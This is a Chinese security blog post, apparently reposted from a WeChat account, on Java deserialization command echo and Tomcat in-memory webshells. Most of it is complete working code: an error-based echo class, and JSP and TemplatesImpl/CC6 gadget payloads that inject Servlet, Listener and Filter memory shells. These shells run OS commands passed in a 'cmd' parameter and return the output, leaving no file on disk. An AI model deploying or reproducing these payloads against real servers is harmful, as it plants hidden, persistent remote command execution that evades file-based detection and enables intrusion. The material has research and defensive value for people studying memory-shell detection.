理论上来说,反序列化命令回显有很多花里胡哨的办法,但一般来说需要用到命令回显时都是不通外网时才用的,都通外网了直接弹shell上CS了,还废这个劲干嘛。因此利用中间件的Response回显就成了最常用的办法,其中最简单的当属报错回显,在java反序列化实战的时候介绍过。
一、 报错回显
Echo.class
package test;
import java.io.*;
public class Echo {
public Echo() throws Exception {
Process process = Runtime.getRuntime().exec("ipconfig");
InputStream in = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line).append("n");
}
String str = sb.toString();
System.out.println(str);
throw new Exception(str);
}
}
test.jsp
<%@ page import="java.io.*" contentType="text/html; charset=UTF-8"%>
<%
InputStream in = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(in);
objectInputStream.readObject();
%>
上次用的是DefineClassCC6,其实BcelCC6,TemplatesImplCC6均没问题。
二、 Tomcat Servlet Shell
报错回显在成熟项目中根本不会开启报错,因此很难利用,更常见的应该是利用容器自带的Response进行回显,而且还会搭配Request的header传递命令参数。
但想获取Request和Response,并不是那么容易的事。
这里先从前置知识开始学习,那就是tomcat内存shell,内存shell规避了动态脚本落地的查杀,同时也是不出网命令回显的解决方案之一。
tomcat内存shell根据动态加载的类不同,分为Servlet/Filter/Listener,这也是java web中常见的开发概念。
以下都使用tomcat-8.5.72
Servlet就是个区别于jsp动态脚本的web页面,先写个最简单的Servlet
WEB-INF/web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://java.sun.com/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://JAVA.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0">
<servlet>
<servlet-name>testServlet</servlet-name>
<servlet-class>test.testServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>testServlet</servlet-name>
<url-pattern>/testServlet</url-pattern>
</servlet-mapping>
</web-app>
src/test/testServlet
package test;
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class testServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter out = resp.getWriter();
resp.setContentType("text/html;charset=utf-8");
out.println("<strong>doGet My Servlet!</strong><br>");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
PrintWriter out = resp.getWriter();
resp.setContentType("text/html;charset=utf-8");
out.println("<strong>doPost My Servlet!</strong><br>");
}
}
我们的目的,就是动态注入一个这样的Servlet,在tomcat中,Servlet由Wrapper容器加载,而Wrapper又由Context 容器创建。
内存shell的核心就是获取当前Context 对象,也就是org.apache.catalina.core.StandardContext,再通过它来创建Wrapper,加载恶意的Servlet。
在jsp中,我们直接就有request对象,随便打印它的一个属性,下断点会发现其为
实现了HttpServletRequest接口的org.apache.catalina.connector.RequestFacade类,其只有一个Request属性为org.apache.catalina.connector.Request类,这个类有个方法是getContext(),可直接获取StandardContext对象。
结构大概是这样的
request(org.apache.catalina.connector.RequestFacade)
request(org.apache.catalina.connector.Request)
mappingData(org.apache.catalina.mapper.MappingData)
context(org.apache.catalina.core.StandardContext)
也就是通过jsp自带的request对象,我们可以直接获取StandardContext对象,其中唯一有问题的是org.apache.catalina.connector.RequestFacade的request属性是protected的,没关系,用反射拿到就行了。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
out.println(standardContext);
%>
然后就可以新建一个Wrapper,加载恶意Servlet。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.util.Scanner" %>
<%
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("cmd");
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
response.getWriter().write(output);
response.getWriter().flush();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
%>
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
wrapper.setServlet(servlet);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", "shell");
%>
访问jsp文件后/shell?cmd=ipconfig可获取内存shell。
这样实现了jsp获取内存shell,但反序列化时我们没有jsp自带的request对象,只能通过当前线程来获取,在tomcat8及更新版本中,有一个非常简单的从当前线程获取StandardContext的方法。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
集成到反序列化链中,恶意类必须实现Servlet接口,然后加载自己,DefineClassCC6加载恶意类如下。注意依赖tomcat-catalina-8.5.57.jar。
package test;
import java.io.*;
import javax.servlet.*;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
public class Tomcat8ServletShell implements Servlet{
public Tomcat8ServletShell() throws Exception {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
wrapper.setServlet(this);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", "shell");
}
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("cmd");
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line).append("n");
}
PrintWriter out = response.getWriter();
out.println(sb.toString());
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
TemplatesImplCC6加载恶意类如下
package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.*;
import javax.servlet.*;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
public class TemplatesImplTomcat8ServletShell extends AbstractTranslet implements Servlet{
public TemplatesImplTomcat8ServletShell() throws IOException {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
wrapper.setServlet(this);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell", "shell");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("cmd");
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line).append("n");
}
PrintWriter out = response.getWriter();
out.println(sb.toString());
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
}
至此实现反序列化打入内存shell,以此命令回显。(BcelCC6链报错,未知原因)
实战效果如下
三、 Tomcat Listener Shell
先看正常Listener是什么样的。
WEB-INF/web.xml
<listener>
<listener-class>test.testListener</listener-class>
</listener>
src/test/testListener
package test;
import javax.servlet.*;
public class testListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("testListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
}
}
访问任何路由触发Listener,因此Listener全局生效
StandardContext.addApplicationEventListener()可直接新增Listener,因此直接写一个新增Listener的jsp出来。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.util.Scanner" %>
<%
ServletRequestListener listener = new ServletRequestListener() {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
try {
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
String cmd = req.getParameter("cmd");
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
request.getResponse().getWriter().write(output);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
};
%>
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
standardContext.addApplicationEventListener(listener);
%>
访问jsp即可在任意位置执行命令,如果多次访问jsp,则会增加多个Listener。
TemplatesImplCC6加载恶意类如下,DefineClassCC6略过。依赖tomcat-catalina-8.5.57.jar。
package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Scanner;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
public class TemplatesImplTomcat8ListenerShell extends AbstractTranslet implements ServletRequestListener{
public TemplatesImplTomcat8ListenerShell() throws Exception {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
standardContext.addApplicationEventListener(this);
}
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
try {
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
String cmd = req.getParameter("cmd");
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
request.getResponse().getWriter().write(output);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}
四、 Tomcat Filter Shell
还是先看正常的一个Filter是怎么样的
WEB-INF/web.xml
<filter>
<filter-name>testFilter</filter-name>
<filter-class>test.testFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>testFilter</filter-name>
<url-pattern>/testFilter/*</url-pattern>
</filter-mapping>
src/test/testFilter
package test;
import java.io.*;
import javax.servlet.*;
public class testFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
response.setContentType("text/html;charset=utf-8");
PrintWriter out = response.getWriter();
out.println("<strong>doFilter My Filter!</strong><br>");
out.flush();
out.close();
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
效果如下图
Filter的注入过程相对麻烦一点,先下断点看我们熟悉的StandardContext,它有哪些关于Filter的属性。
一共有三个,其中filterConfigs(HashMap<String, ApplicationFilterConfig>),存储着StandardContext和FilterDef信息,filterDefs(HashMap<String, FilterDef>)存储着filter对象、类等信息,filterMaps(ContextFilterMaps()),则存储着路径信息。
再去testFilter.doFilter()下断点,看栈。
跟到StandardWrapperValve.invoke(),往上翻翻代码,可以看到一行明显的创建Filter链的代码。
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
跟进ApplicationFilterFactory.createFilterChain()
第一步,从StandardContext中取出filterMaps。
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
第二步,遍历filterMaps,匹配其路径关系
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
第三步,根据filterMap的Filter名,从StandardContext取出filterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
第四步,添加filterConfig
filterChain.addFilter(filterConfig);
此为添加Filter的全过程,可以看到均和filterConfigs/filterDefs/filterMaps相关,我们的目的就是给StandardContext设置好这三个属性,其中filterMaps有StandardContext.addFilterMapBefore()来添加(addFilterMap()好像也可以)。
public void addFilterMapBefore(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.addBefore(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}
filterDefs有StandardContext.addFilterDef()来添加。
public void addFilterDef(FilterDef filterDef) {
synchronized (filterDefs) {
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);
}
filterConfigs就什么都没有,因此必须用反射的方式去设置,此外ApplicationFilterConfig的构造方法是无修饰的,也需要使用反射方式去构造。
jsp如下
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%
String name = "filtershell";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null){
String cmd = request.getParameter("cmd");
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/filtershell/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
}
%>
效果如下
TemplatesImplCC6加载恶意类如下,依赖tomcat-catalina-8.5.57.jar/tomcat-util-scan-8.5.57.jar
package test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
public class TemplatesImplTomcat8FilterShell extends AbstractTranslet implements Filter{
public TemplatesImplTomcat8FilterShell() throws Exception {
String name = "filtershell";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) {
FilterDef filterDef = new FilterDef();
filterDef.setFilter(this);
filterDef.setFilterName(name);
filterDef.setFilterClass(this.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/filtershell/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null){
String cmd = request.getParameter("cmd");
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request,response);
}
@Override
public void destroy() {
}
}
参考链接:
https://xz.aliyun.com/t/10358
https://xz.aliyun.com/t/10362
原文始发于微信公众号(珂技知识分享):Java反序列化命令回显和内存shell(1)